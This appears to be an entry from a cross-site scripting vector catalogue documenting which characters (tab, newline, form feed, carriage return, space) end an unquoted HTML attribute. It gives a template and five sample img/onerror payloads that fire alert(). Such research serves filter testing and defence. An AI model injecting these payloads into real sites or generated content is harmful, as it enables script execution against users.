Characters that end unencapsulated HTML attribute values

Characters that can be used to end unencapsulated HTML attribute values.

Created by: ola456

Created on: Wednesday, May 14, 2025 at 8:09:24 AM

Updated on: Wednesday, May 28, 2025 at 5:06:19 PM

Detecting browser...

Category: DOM Behavior

Vector visibility: Public

Vector type: XSS

Vector charset: UTF-8

Template used:

<img src=x$[chr]onerror=log($[i])>

Sample payloads

<img src=x0x09onerror=alert(9)>

<img src=x
onerror=alert(10)>

<img src=x0x0Conerror=alert(12)>

<img src=x0x0Donerror=alert(13)>

<img src=x onerror=alert(32)>